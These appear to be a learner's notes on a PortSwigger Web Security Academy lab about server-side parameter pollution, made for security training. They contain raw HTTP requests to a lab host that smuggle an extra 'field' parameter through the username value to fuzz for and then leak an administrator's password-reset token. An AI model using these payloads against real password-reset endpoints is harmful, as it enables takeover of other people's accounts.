Lab: Exploiting server-side parameter pollution in a query string
https://portswigger.net/web-security/learning-paths/api-testing/api-testing-testing-for-server-side-parameter-pollution-in-the-query-string/api-testing/server-side-parameter-pollution/lab-exploiting-s
POST /forgot-password HTTP/2
Host: 0a59007b0371820181c4ca2600ca00d6.web-security-academy.net
Cookie: session=08EcsuWTOPh2z1F4HPTyXusKfOliBoqf
Content-Length: 73
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: */*
Origin: https://0a59007b0371820181c4ca2600ca00d6.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a59007b0371820181c4ca2600ca00d6.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
csrf=IrePN7FWGDDsLey7XM9YgtytRwH4xcu2&username=administrator%26field=$x$%23
Payload add from list Server Side variable names, email and username are valid
forgotPassword.js
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
}
POST /forgot-password HTTP/2
Host: 0a59007b0371820181c4ca2600ca00d6.web-security-academy.net
Cookie: session=08EcsuWTOPh2z1F4HPTyXusKfOliBoqf
Content-Length: 83
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: */*
Origin: https://0a59007b0371820181c4ca2600ca00d6.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a59007b0371820181c4ca2600ca00d6.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
csrf=IrePN7FWGDDsLey7XM9YgtytRwH4xcu2&username=administrator%26field=reset_token%23
Last updated